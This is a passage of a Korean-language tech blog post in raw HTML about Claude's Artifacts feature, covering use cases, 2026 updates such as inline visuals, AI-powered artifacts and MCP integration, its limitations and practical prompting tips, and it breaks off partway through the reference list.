&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;2030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLPFDp/dJMcafeXOsS/vLkrt2PuKKXRQEmqa7myS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLPFDp%2FdJMcafeXOsS%2FvLkrt2PuKKXRQEmqa7myS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;2030&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;2030&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 2번째는 더 예쁘게 나온것 같아서 공유&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;3096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nKEVs/dJMcahX6KUX/IZilrzhdoI4tIRaAgUGMck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnKEVs%2FdJMcahX6KUX%2FIZilrzhdoI4tIRaAgUGMck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;1658&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;3096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;해당 채팅 링크도 혹시나 공유&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claude.ai/share/b41d5d51-9667-4a7c-9b39-31ab5ee2bdab&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://claude.ai/share/b41d5d51-9667-4a7c-9b39-31ab5ee2bdab&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;미디어 및 콘텐츠 제작&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;디자이너 없이도 반응형 갤러리나 랜딩 페이지를 만들 수 있다. 콘텐츠 크리에이터나 마케터가 직접 쓰기에 나쁘지 않다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Image Fetching:&lt;/b&gt; 외부 이미지 소스를 자동으로 호출하여 배치한 다중 레이아웃&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CSS Hover Effects:&lt;/b&gt; 마우스 오버 시 이미지가 부드럽게 확대되는 세련된 인터랙션&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Upscaling Command:&lt;/b&gt; 텍스트 요청 한 번으로 갤러리 레이아웃의 정교함을 한 단계 높이는 것이 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;나만의 맞춤형 도구&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인적으로 가장 유용한 용도는 &lt;b&gt;&quot;나만을 위한 도구&quot;&lt;/b&gt;다. 어떤 아이디어든 단일 HTML 파일로 즉시 나오고, 오늘 당장 배포할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;생산성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;커스텀 스케줄러, 다이어리 꾸미기 툴, 개인용 습관 트래커&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;금융 및 계산&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;부동산 중개수수료 계산기, 환율 변환기, 대출 이자 시뮬레이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;여행/생활&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;가족여행 인터랙티브 플래너, 결혼식 좌석 배치도, 이사 체크리스트, 육아 성장 기록표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;콘텐츠&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;인터랙티브 퀴즈 홈, 나만의 영단어장, 오픈소스 큐레이션 보드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 2026년 최신 업데이트 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 2026년 최신 업데이트&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 이후 기능이 꽤 빠르게 붙고 있다. 2025~2026년 주요 업데이트만 추려 봤다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;인라인 시각화 (2026년 3월)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2026년 3월 12일&lt;/b&gt;, Anthropic은 차트, 다이어그램, 시각화가 &lt;b&gt;대화 흐름 안에서 인라인으로 직접 렌더링&lt;/b&gt;되는 기능을 발표했다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;HTML과 SVG를 사용하여 채팅 내에서 직접 시각화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;호버 및 클릭 인터랙션 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;대화가 진행되면서 시각화도 함께 발전하는 &lt;b&gt;임시적/맥락적(Contextual)&lt;/b&gt; 특성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;기존의 사이드 패널 Artifacts와는 달리, 대화 흐름에 자연스럽게 녹아드는 형태&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/claude-builds-visuals&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Blog: Claude Builds Visuals&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;인라인 시각화(Custom Visuals) vs Artifacts &amp;mdash; 헷갈리기 쉬운 차이점&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;인라인 시각화&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border-bottom: 2px solid #ffc107;&quot;&gt;Artifact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;대화 흐름 안&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;사이드 패널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;지속성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;임시 (대화 진행 시 변경/소멸)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;영구 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;퍼블리시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;직접 불가&lt;/span&gt; &amp;mdash; 'Save as artifact' 후 가능&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Share &amp;rarr; Publish로 즉시 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;&lt;code&gt;...&lt;/code&gt; 메뉴&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Copy / Download / Save as artifact&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;Share / Publish / Embed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 8px; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;두 기능은 상호 보완적이다. 인라인 시각화로 탐색하고, 마음에 드는 결과를 Artifact로 저장하여 퍼블리시하는 흐름이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/13979539-custom-visuals-in-chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Custom visuals in chat&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI-Powered Artifacts&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 이제 &lt;b&gt;Claude API를 직접 호출&lt;/b&gt;할 수 있다. 정적 웹 페이지가 아니라 &lt;b&gt;AI 기능이 내장된 앱&lt;/b&gt;을 만들 수 있다는 뜻이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Anthropic이 호스팅, 인증, 공유 경제를 관리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;퍼블리시된 AI-Powered Artifact는 방문자가 직접 AI 기능을 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-powered-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Build and share AI-powered apps with Claude&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;영구 저장소와 MCP 연동&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;영구 저장소(Persistent Storage):&lt;/b&gt; Artifacts가 세션 간에 데이터를 유지할 수 있게 되었다. 저널, 트래커, 협업 도구 같은 상태 기반 앱 구축이 가능하다. (Pro, Max, Team, Enterprise 플랜)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP(Model Context Protocol) 연동:&lt;/b&gt; Artifacts가 Asana, Google Calendar, Slack 등 외부 서비스와 연결 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;파일 생성 기능:&lt;/b&gt; 2025년 10월 21일 GA &amp;mdash; Excel 스프레드시트, 문서, PowerPoint 슬라이드, PDF를 직접 생성/편집 가능 (유료 플랜)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/create-files&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Claude can now create and edit files&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 알아두어야 할 한계점 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 알아두어야 할 한계점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 편하긴 하지만 못 하는 것도 있다. 현재 알려진 제약 사항이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;단일 파일 제한:&lt;/b&gt; Artifact는 하나의 파일로만 생성된다. 멀티 파일 프로젝트는 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클라이언트 사이드 전용:&lt;/b&gt; 백엔드/서버 사이드 코드 실행 불가, 데이터베이스 직접 연결 불가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;외부 리소스 제한:&lt;/b&gt; CDN은 &lt;code&gt;cdnjs.cloudflare.com&lt;/code&gt;만 허용. 외부 이미지나 API 호출에 제약이 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;localStorage/sessionStorage 미지원:&lt;/b&gt; 브라우저 저장소를 활용한 상태 유지가 제한적 (Persistent Storage 기능으로 일부 대체 가능)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;React Artifact 추출 복잡:&lt;/b&gt; React 기반 Artifact를 외부에서 실행하려면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/claudio-silva/claude-artifact-runner&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude-artifact-runner&lt;/a&gt; 같은 별도 도구가 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실용적 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Simon Willison은 Artifact 생성 시 프롬프트에 &lt;b&gt;&quot;React가 아닌 순수 HTML+JS로&quot;&lt;/b&gt;를 명시하면 추출과 배포가 훨씬 수월하다고 조언한다. 특히 외부 배포를 계획하고 있다면 이 팁이 유용하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티에서 공유하는 워크어라운드&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;전체를 다시 쓰지 마&quot;:&lt;/b&gt; 프롬프트에 &quot;기존 코드를 유지하고, [특정 부분]만 수정해줘&quot;라고 명시하면 전체 재생성을 줄일 수 있다. 효과는 절반 정도지만, 안 쓰는 것보다 낫다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;수동 버전 관리:&lt;/b&gt; 마음에 드는 Artifact가 나오면 즉시 코드를 복사해서 로컬에 저장해 둔다. 다음 수정에서 망가질 수 있으니까.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;&quot;설명 먼저, 실행 나중에&quot;:&lt;/b&gt; &quot;바로 수정하지 말고, 뭘 바꿀 건지 먼저 설명해줘&quot;라고 하면 의도치 않은 변경을 사전에 잡을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 AI가 &lt;b&gt;질문에 답하는 비서&lt;/b&gt;에서 &lt;b&gt;소프트웨어를 즉석에서 뽑아내는 공장&lt;/b&gt;으로 바뀌는 지점에 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;흐름을 보면 이렇다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;과거 &amp;mdash; 텍스트 생성(Chat):&lt;/b&gt; AI가 텍스트로 답변을 생성하면 사용자가 직접 코드를 복사해서 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;현재 &amp;mdash; 정적 UI 및 마이크로 웹앱 렌더링(Artifacts):&lt;/b&gt; 자연어 한 문장으로 인터랙티브 웹앱을 즉시 렌더링. 대화 속에서 기획의 실시간 검증이 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;미래 &amp;mdash; 복잡한 클라이언트 앱의 즉석 생성:&lt;/b&gt; 영구 저장소와 MCP 연동으로 엑셀, 파워포인트급 복잡한 클라이언트 앱을 즉석 생성. 이미 파일 생성 기능과 AI-Powered Artifacts의 등장을 보면, 이 미래는 충분히 가시권에 들어왔다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Artifacts = 라이브 프론트엔드 런타임:&lt;/b&gt; HTML/CSS/JS/React를 실시간 렌더링하는 샌드박스 실행 환경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT 대비 차별점:&lt;/b&gt; 렌더링 우선 철학, 내장 퍼블리시(Share &amp;rarr; Publish), AI-Powered 앱, 영구 저장소&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Bun 인수:&lt;/b&gt; Anthropic의 JS 생태계 전략적 투자. Claude Code 성능 강화 + 미래 AI 에이전트 런타임&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;제로 컨피그 배포:&lt;/b&gt; Cloudflare Pages 등 무료 호스팅으로 즉시 웹 서비스화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 업데이트:&lt;/b&gt; 인라인 시각화, AI-Powered Artifacts, 영구 저장소, MCP 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM이 텍스트를 뽑아주는 도구에 머물지 않고, 그 자체로 &lt;b&gt;'프론트엔드 실행 환경'&lt;/b&gt;이 되고 있다. 클로드를 매달 구독할 이유를 묻는다면, 솔직히 이 시각화 기능이 가장 설득력 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결국 중요한 건 &quot;무엇을 물어보느냐&quot;보다 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;어떤 화면을 요구할 줄 아느냐&quot;&lt;/b&gt;&lt;/span&gt;가 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;공식 문서 (Level 1)&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-3-5-sonnet&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Introducing Claude 3.5 Sonnet&lt;/a&gt; &amp;mdash; Artifacts 최초 공개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Artifacts are now generally available&lt;/a&gt; &amp;mdash; 정식 출시 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/claude-powered-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Build and share AI-powered apps with Claude&lt;/a&gt; &amp;mdash; AI-Powered Artifacts&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/create-files&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Claude can now create and edit files&lt;/a&gt; &amp;mdash; 파일 생성 기능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Anthropic acquires Bun&lt;/a&gt; &amp;mdash; Bun 인수 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bun.com/blog/bun-joins-anthropic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bun Blog: Bun is joining Anthropic&lt;/a&gt; &amp;mdash; Bun 측 발표&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt; &amp;mdash; Artifacts 공식 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt; &amp;mdash; 퍼블리시 공식 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/claude-builds-visuals&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Blog: Claude Builds Visuals&lt;/a&gt; &amp;mdash; 2026년 3월 인라인 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;참고 자료 (Level 2-3)&lt;/h4&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
